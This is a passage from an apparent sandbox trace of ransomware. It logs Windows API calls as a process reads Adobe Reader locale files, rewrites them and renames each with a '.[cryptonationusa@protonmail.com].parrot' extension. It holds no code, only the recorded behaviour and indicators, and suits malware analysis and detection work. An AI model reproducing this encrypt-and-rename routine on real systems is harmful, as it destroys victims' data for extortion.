10.0\\reader\\locale\\pl_pl\\reflow.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\reflow.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\reflow.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.644] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333c408 | out: hHeap=0x5b0000) returned 1 [0262.645] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.645] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0262.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0262.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0262.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0262.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0262.647] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.647] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.648] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.648] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4800, lpOverlapped=0x0) returned 1 [0262.649] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0262.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.649] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0262.649] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0262.649] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0262.649] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0262.649] GetLastError () returned 0x0 [0262.650] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0262.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0262.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0262.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0262.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0262.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0262.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0262.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0262.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0262.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0262.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0262.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0262.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0262.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0262.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0262.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0262.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x32de660 [0262.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0262.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x332e648 [0262.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de660 | out: hHeap=0x5b0000) returned 1 [0262.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x33315e0 [0262.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332e648 | out: hHeap=0x5b0000) returned 1 [0262.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x32a6588 [0262.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33315e0 | out: hHeap=0x5b0000) returned 1 [0262.651] WriteFile (in: hFile=0x288, lpBuffer=0x32a65a0*, nNumberOfBytesToWrite=0x4928, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32a65a0*, lpNumberOfBytesWritten=0x18e8f4*=0x4928, lpOverlapped=0x0) returned 1 [0262.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a6588 | out: hHeap=0x5b0000) returned 1 [0262.655] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4918, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0262.655] CloseHandle (hObject=0x288) returned 1 [0262.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0262.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x3326a40 [0262.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0262.655] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SaveAsRTF.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\saveasrtf.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SaveAsRTF.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\saveasrtf.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326a40 | out: hHeap=0x5b0000) returned 1 [0262.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0262.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0262.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0262.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0262.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0262.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.659] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.661] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.661] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5e00, lpOverlapped=0x0) returned 1 [0262.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0262.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0262.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0262.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0262.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0262.662] GetLastError () returned 0x0 [0262.662] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0262.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0262.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0262.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0262.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0262.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0262.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0262.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0262.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0262.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0262.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0262.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x32de660 [0262.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0262.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x332e648 [0262.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de660 | out: hHeap=0x5b0000) returned 1 [0262.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x33315e0 [0262.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332e648 | out: hHeap=0x5b0000) returned 1 [0262.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x32a6588 [0262.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33315e0 | out: hHeap=0x5b0000) returned 1 [0262.664] WriteFile (in: hFile=0x288, lpBuffer=0x32a65a0*, nNumberOfBytesToWrite=0x5f28, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32a65a0*, lpNumberOfBytesWritten=0x18e8f4*=0x5f28, lpOverlapped=0x0) returned 1 [0262.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a6588 | out: hHeap=0x5b0000) returned 1 [0262.668] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0262.668] CloseHandle (hObject=0x288) returned 1 [0262.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x315d788 [0262.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x333c408 [0262.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0262.668] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Search.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\search.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Search.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\search.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.670] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333c408 | out: hHeap=0x5b0000) returned 1 [0262.670] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.670] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0262.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0262.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0262.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0262.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0262.672] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.672] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.674] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.674] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3e00, lpOverlapped=0x0) returned 1 [0262.674] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0262.674] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.674] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0262.674] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0262.674] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0262.674] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0262.674] GetLastError () returned 0x0 [0262.675] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0262.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0262.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0262.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0262.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0262.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0262.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0262.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0262.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0262.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0262.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0262.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0262.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0262.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0262.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0262.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0262.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0262.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0262.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 